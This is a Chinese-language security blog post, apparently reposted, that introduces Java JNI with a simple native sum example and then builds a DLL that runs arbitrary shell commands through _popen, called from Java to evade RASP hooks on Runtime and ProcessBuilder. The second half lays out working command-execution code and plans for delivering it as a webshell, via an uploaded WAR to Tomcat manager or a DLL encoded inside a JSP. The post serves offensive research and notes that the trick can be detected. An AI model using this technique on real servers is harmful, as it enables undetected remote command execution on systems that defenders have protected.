Java安全之JNI繞過RASP


Java安全之JNI繞過RASP

0x00 前言

前面一直想看該JNI的相關內容,但是發現JNI的資料還是偏少。后面發現JNI在安全中應用非常的微妙,有意思。

0x01 JNI概述

JNI的全稱叫做(Java Native Interface),其作用就是讓我們的Java程序去調用C的程序。實際上調用的並不是exe程序,而是編譯好的dll動態鏈接庫里面封裝的方法。因為Java是基於C語言去實現的,Java底層很多也會去使用JNI。

在開發中運用到的也是比較多,比如在前面分析鏈的時候,追溯到一些底層實現代碼的時候就可以看到一些方法是使用Native 來修飾的。這就說明他是一個c語言去實現的一個方法。

0x02 JNI實現

來看到下面這張圖,該圖是實現JNI編程的具體路線

這里我大致分為五步:

1. 定義一個native修飾的方法
2. 使用javah進行編譯 
3. 編寫對應的c語言代碼
4. 使用gcc編譯成dll文件
5. 編寫一個Java類使用System.loadLibrary方法,加載dll文件並且調用

按照步驟來實現一下

  1. 定義一個native修飾的方法
package com.test;

public class Command {
    public native int sum(int num1,int num2);

}

  1. 使用javah進行編譯

首先使用javac編譯成class文件

javac .\Command.java

然后使用javah生成c的頭文件,切換到src目錄下。后面發現其實可以不用編譯成class文件。

JDK10移除了javah,需要改為javac-h參數的方式生產頭文件,命令:

javac -cp . .\Command.java -h com.test.Command

然后執行命令

javah -cp . com.test.Command

這里可以看到有個Java_com_test_Command_sum的字符,前面的Java是固定的前綴,后面是類名,最后面的是該類中定義的方法。

而括號里面的4個參數,第一個是JNI環境變量對象,第二個是Java調用的對象,這里是jclass也就是一個class文件。后面兩個則是傳入的參數並且是int類型的。

里面的內容是javah基於剛剛的java代碼自動生成的,不要輕易更改。在編寫c代碼的時候,需要導入該頭文件

  1. 編寫對應的c語言代碼
#include "com_test_Command.h"
JNIEXPORT jint JNICALL Java_com_test_Command_sum
  (JNIEnv *env, jobject obj, jint num1, jint num2){
  return num1+num2;
  }
  void main(){}
  1. 使用gcc編譯成dll文件
gcc -I "c:\ProgramFiles\Java\jdk1.7.0_75\include"  -I "c:\Program Files\Java\jdk1.7.0_75\include\win32"
    --shared JniClass.c
-o 1.dll

需要指定jdk的include和win32文件

或者可以這么寫

gcc -I"%JAVA_HOME%\include" -I"%JAVA_HOME%\include\win32" -shared -o cmd.dll com_anbai_sec_cmd_CommandExecution.c。

mac 編譯:

g++ -fPIC -I"$JAVA_HOME/include" -I"$JAVA_HOME/include/darwin" -shared -o libcmd.jnilib com_anbai_sec_cmd_CommandExecution.cpp

linux編譯:

g++ -fPIC -I"$JAVA_HOME/include" -I"$JAVA_HOME/include/linux" -shared -o libcmd.so com_anbai_sec_cmd_CommandExecution.cpp

g++是用來編譯c++的,均可使用。代碼如果是c++寫的,就可以使用g++來編譯成dll一樣可以調用。

這里先來編譯一下

gcc -I "D:\JAVA_JDK\include"  -I "D:\JAVA_JDK\include\win32" -shared -o cmd.dll .\Command.c

重新在IDEA里面打開項目,並編寫代碼

package com.test;

public class test {


    public static void main(String[] args) {
        System.loadLibrary("cmd");
        Command command = new Command();
        int sum = command.sum(1, 2);
        System.out.println(sum);

    }
}

運行查看結果,查看是否能正常運行

然而這里發現爆了個這樣的錯誤,在64位數的平台不能去調用32位數的dll文件,貌似是使用到了32位的gcc進行編譯導致調用報錯

發現自己安裝的是32位的gcc編譯只能編譯成32位的dll文件,后面來使用gcc 64 位的就可以了。

再次編譯成gcc進行調用后,就可以進行執行。

到了這里,就已經是調用了封裝好的dll動態鏈接庫文件里面封裝的方法了。

0x03 JNI 繞過RASP 執行命令

在RASP里其實是Hook掉了一些RuntimeProcessBuilder 等類,但是Runtime.exec調用的是ProcessBuilder.start,ProcessBuilder.start的底層會調用ProcessImpl類。那么這時候只需要去Hook掉ProcessImpl就無法進行執行命令了。那么像這種基於堆棧調用去識別的該怎么去繞過呢?假設一個場景一個站點使用RASP,這時候如果上傳一個webshell

那么這時候就會去用到JNI去調用該dll文件就可以進行一個繞過,可以先來實現這么一個功能,后續還需要考慮到的是怎么將幾個文件封裝到一起,打包成一個jsp文件進行上傳。

首先還是需要在IDEA里面先去實現功能,基於上面代碼去做一個修改

Command類:

package com.test;

public class Command {
    public native String exec(String cmd);
}

編譯成.h c語言的頭文件,內容如下:

/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class com_test_Command */

#ifndef _Included_com_test_Command
#define _Included_com_test_Command
#ifdef __cplusplus
extern "C" {
#endif

JNIEXPORT jstring JNICALL Java_com_test_Command_exec
  (JNIEnv *, jobject, jstring);

#ifdef __cplusplus
}
#endif
#endif

編寫命令執行的C語言代碼,由於不會C ,該段代碼是網上找的

#include "com_test_Command.h"
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

int execmd(const char *cmd, char *result)
{
    char buffer[1024*12];              //定義緩沖區
    FILE *pipe = _popen(cmd, "r"); //打開管道,並執行命令
    if (!pipe)
        return 0; //返回0表示運行失敗

    while (!feof(pipe))
    {
        if (fgets(buffer, 128, pipe))
        { //將管道輸出到result中
            strcat(result, buffer);
        }
    }
    _pclose(pipe); //關閉管道
    return 1;      //返回1表示運行成功
}
JNIEXPORT jstring JNICALL Java_com_test_Command_exec(JNIEnv *env, jobject class_object, jstring jstr)
{

    const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL);
    char result[1024 * 12] = ""; //定義存放結果的字符串數組
    if (1 == execmd(cstr, result))
    {
       // printf(result);
    }

    char return_messge[100] = "";
    strcat(return_messge, result);
    jstring cmdresult = (*env)->NewStringUTF(env, return_messge);
    //system();

    return cmdresult;
}

使用命令將2個文件編譯成dll動態鏈接庫

然后編寫Java代碼加載dll文件,調用C語言中封裝的方法

package com.test;

public class test {


    public static void main(String[] args) {

        System.loadLibrary("cmd");
        Command command = new Command();
        String ipconfig = command.exec("ipconfig");
        System.out.println(ipconfig);
    }

}

調用棧:

命令就執行成功了,這里不是調用一些自帶的Runtime等方法,而是調用dll文件中封裝的方法,能夠去繞過一些RASP的攔截。

目前我的設想是由兩種方式在現實場景中去進行一個使用,一個是將dll文件都打包成一個war包,在一些tomcat管理后台的位置上傳后,自動進行解壓釋放該dll文件,然后使用jsp去調用該dll文件,從而使得可以繞過執行命令。或者是可以使用遠程調用的方式,這樣就可以不用上傳dll文件了, 這樣做的目的是一般上傳點之類的都不會允許dll文件進行上傳。

還有一種方式是將dll文件編碼后,內置到jsp中,執行的時候進行釋放到當前文件目錄下,進行調用。

參考文章

https://cloud.tencent.com/developer/article/1541566
https://javasec.org/javase/JNI/

吹爆花貓大哥的Javasec文章,在Javasec的JNI文中用到的是c++來進行一個代碼實現,實際效果差不多。具體的在本文中就不做實現。Javasec中有現成代碼。

0x04 結尾

其實這種方式還是有辦法查殺到的,具體參考該篇文章:JNI編程怎么跟蹤調試dll


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM